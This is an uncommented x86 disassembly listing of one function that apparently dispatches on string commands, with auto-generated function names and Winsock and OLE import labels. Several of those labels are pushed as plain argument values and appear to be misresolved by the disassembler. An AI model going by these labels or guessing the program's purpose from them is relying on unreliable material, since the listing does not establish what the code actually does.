add eax, 8
push eax
mov eax, dword [ebp - 8]
xor ebx, ebx
test eax, eax
je 0x42f9ec
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x42fa03
dec eax
test ecx, ecx
je 0x42fa03
call fcn.004151cc
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42fa23
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42faa8
call fcn.004309cd
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42fa48
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42fa6e
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80007
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42fa93
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42faa3
push ebx
call fcn.00465372
add esp, 4
jmp 0x42fe18
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42fabb
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fa742
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42faf6
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x466650
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42fb1c
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42fb3e
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42fb3a
imul eax, dword [ebx]
jmp 0x42fb2f
mov ecx, eax
test ecx, ecx
je 0x42fb5d
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42fb56
push ebx
push eax
call fcn.00465372
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42fb44
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.00412306
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jne 0x42fe18
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42fb9c
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4feed0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42fcd1
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42fbdd
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42fbfa
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x466120
call fcn.0046536c
add esp, 0x10
push eax
call fcn.00433012
test eax, eax
je 0x42fc76
push reloc.WS2_32.dll_connect
push 0
push 0x4feed9
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42fc61
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42fc71
push ebx
call fcn.00465372
add esp, 4
jmp 0x42fccc
push reloc.WS2_32.dll_connect
push 0
push 0x4feee6
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42fcbc
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42fccc
push ebx
call fcn.00465372
add esp, 4
jmp 0x42fe18
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42fcef
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4feef3
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42fd77
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42fd30
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42fd4d
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x466120
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
push dword [ebp - 0x28]
call fcn.00433108
jmp 0x42fe18
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42fd95
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4feefc
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42fe18
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42fdd6
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42fdf3
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x466120
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 0
push dword [ebp - 0x28]
call fcn.00433108
jmp 0x4303ad
push str.80016
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x43013b
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42fe49
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4feff7
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42fe8d
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42ffa3
cmp dword [0x52f174], 0
je 0x42feff
push reloc.WS2_32.dll_connect
push 0
push 0x4ff005
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80016
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42feea
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42fefa
push ebx
call fcn.00465372
add esp, 4
jmp 0x42ff9e
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0x440ce2
push 0
push 0
mov eax, 0x58
call fcn.00465360
cmp dword [ebp - 0x2c], esp
je 0x42ff3b
push 6
call fcn.0046535a
add esp, 4
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x42ff9e
push reloc.WS2_32.dll_connect
push 0
push 0x4ff021
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80016
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ff8e
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ff9e
push ebx
call fcn.00465372
add esp, 4
jmp 0x430136
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ffb6
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4ff031
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42fffa
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x43001e
push dword [0x52f174]
call fcn.00435f37
mov dword [0x52f174], 0
jmp 0x430136
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x430031
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4feff7
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x430075
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x4300e7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x430092
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x2c], eax
push 0x4ff031
push dword [ebp - 0x2c]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4300d6
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x30], 0
je 0x4300e7
mov eax, 1
jmp 0x4300ec
mov eax, 0
test eax, eax
je 0x430136
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x430107
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
call fcn.00435f6d
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x430136
push ebx
call fcn.00465372
add esp, 4
jmp 0x4303ad
push str.80017
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x430188
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 2
push 2
mov eax, 4
mov ebx, 0x4c75c0
call fcn.0046537e
add esp, 0x1c
jmp 0x4303ad
push str.80018
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x430370
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4301c0
mov eax, 0x4fa750
push eax
push 2
mov ebx, 0x466b90
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x4301fb
mov eax, 0x4fa750
push eax
push 3
mov ebx, 0x466a10
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], ecx
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x430227
push ebx
call fcn.00465372
add esp, 4
mov ecx, dword [ebp - 0x28]
cmp ecx, reloc.WS2_32.dll_connect
je 0x43023f
push 5
call fcn.0046535a
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x430253
push ebx
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4fef1e
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x43036b
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x430283
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x465950
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4efe04]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.004013a7
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4302ce
mov eax, 0x4fa750
push eax
push 2
mov ebx, 0x466bd0
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x4302f7
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x43031d
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.00436076
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x430336
push ebx
call fcn.00465372
add esp, 4
push 0x80000301
push 0
push 0x52f178
push 0
push 0
push 0
push reloc.WS2_32.dll_getsockname
push 0
push 0x44176c
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
jmp 0x4303ad
push str.80019
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x4303ad
push 0x80000301
push 0
push dword [0x52f178]
push 1
mov eax, 3
mov ebx, 0x4c7290
call fcn.0046537e
add esp, 0x10
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4303bd
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4303cd
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4303dd
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4303ed
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x43040b
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x430407
imul eax, dword [ebx]
jmp 0x4303fc
mov ecx, eax
test ecx, ecx
je 0x43042a
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x430423
push ebx
push eax
call fcn.00465372
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x430411
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x430442
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x430452
push ebx
call fcn.00465372
add esp, 4
mov esp, ebp
pop ebp
ret 4